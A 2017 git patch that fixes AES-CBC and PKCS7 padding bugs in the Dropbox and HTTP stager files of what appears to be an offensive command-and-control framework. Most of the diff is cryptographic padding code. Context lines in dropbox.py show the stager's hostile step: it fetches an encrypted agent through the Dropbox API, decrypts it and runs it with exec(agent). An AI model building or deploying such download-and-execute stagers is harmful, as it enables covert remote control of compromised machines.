From d41c7da1908ce00ecf7d283e7f228d74ca58b235 Mon Sep 17 00:00:00 2001 From: ThePirateWhoSmellsOfSunflowers Date: Fri, 27 Oct 2017 17:10:15 +0200 Subject: [PATCH] Fix the padding and a logic bug in aes implementation, should fix #586 --- data/agent/stagers/dropbox.py | 37 ++++++++++++++++------------------- data/agent/stagers/http.py | 36 +++++++++++++++------------------- 2 files changed, 33 insertions(+), 40 deletions(-) diff --git a/data/agent/stagers/dropbox.py b/data/agent/stagers/dropbox.py index cfb8831..b840eeb 100644 --- a/data/agent/stagers/dropbox.py +++ b/data/agent/stagers/dropbox.py @@ -247,11 +247,8 @@ except Exception: return c def append_PKCS7_padding(data): - if (len(data) % 16) == 0: - return data - else: - pad = 16 - (len(data) % 16) - return data + to_bufferable(chr(pad) * pad) + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): @@ -259,11 +256,7 @@ def strip_PKCS7_padding(data): raise ValueError("invalid length") pad = _get_byte(data[-1]) - - if pad <= 16: - return data[:-pad] - else: - return data + return data[:-pad] class AES(object): '''Encapsulates the AES block cipher. @@ -522,10 +515,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation): def CBCenc(aesObj, plaintext, base64=False): - # break the blocks in 16 byte chunks, padding the last chunk if necessary - blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] - blocks[-1] = append_PKCS7_padding(blocks[-1]) + # First we padd the plaintext + paddedPlaintext = append_PKCS7_padding(plaintext) + + # The we break the padded plaintext in 16 byte chunks + blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] + # Finally we encypt each block ciphertext = "" for block in blocks: ciphertext += aesObj.encrypt(block) @@ -535,15 +531,16 @@ def CBCenc(aesObj, plaintext, base64=False): def CBCdec(aesObj, ciphertext, base64=False): - # break the blocks in 16 byte chunks, padding the last chunk if necessary + # First we break the cyphertext in 16 byte chunks blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] - plaintext = "" + # Then we decrypt each block + paddedPlaintext = "" + for block in blocks: + paddedPlaintext += aesObj.decrypt(block) - for x in xrange(0, len(blocks)-1): - plaintext += aesObj.decrypt(blocks[x]) - - plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + # Finally we strip the padding + plaintext = strip_PKCS7_padding(paddedPlaintext) return plaintext @@ -892,4 +889,4 @@ response = post_message("https://api.dropboxapi.com/2/files/delete",data=datastr # step 6 -> server sends HMAC(AES) agent = aes_decrypt_and_verify(key, raw) -exec(agent) \ No newline at end of file +exec(agent) diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py index 99b6de6..7871fdf 100644 --- a/data/agent/stagers/http.py +++ b/data/agent/stagers/http.py @@ -251,13 +251,9 @@ except Exception: def _get_byte(c): return c - def append_PKCS7_padding(data): - if (len(data) % 16) == 0: - return data - else: - pad = 16 - (len(data) % 16) - return data + to_bufferable(chr(pad) * pad) + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): @@ -265,11 +261,7 @@ def strip_PKCS7_padding(data): raise ValueError("invalid length") pad = _get_byte(data[-1]) - - if pad <= 16: - return data[:-pad] - else: - return data + return data[:-pad] class AES(object): @@ -530,10 +522,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation): def CBCenc(aesObj, plaintext, base64=False): - # break the blocks in 16 byte chunks, padding the last chunk if necessary - blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] - blocks[-1] = append_PKCS7_padding(blocks[-1]) + # First we padd the plaintext + paddedPlaintext = append_PKCS7_padding(plaintext) + + # The we break the padded plaintext in 16 byte chunks + blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] + # Finally we encypt each block ciphertext = "" for block in blocks: ciphertext += aesObj.encrypt(block) @@ -543,15 +538,16 @@ def CBCenc(aesObj, plaintext, base64=False): def CBCdec(aesObj, ciphertext, base64=False): - # break the blocks in 16 byte chunks, padding the last chunk if necessary + # First we break the cyphertext in 16 byte chunks blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] - plaintext = "" + # Then we decrypt each block + paddedPlaintext = "" + for block in blocks: + paddedPlaintext += aesObj.decrypt(block) - for x in xrange(0, len(blocks)-1): - plaintext += aesObj.decrypt(blocks[x]) - - plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + # Finally we strip the padding + plaintext = strip_PKCS7_padding(paddedPlaintext) return plaintext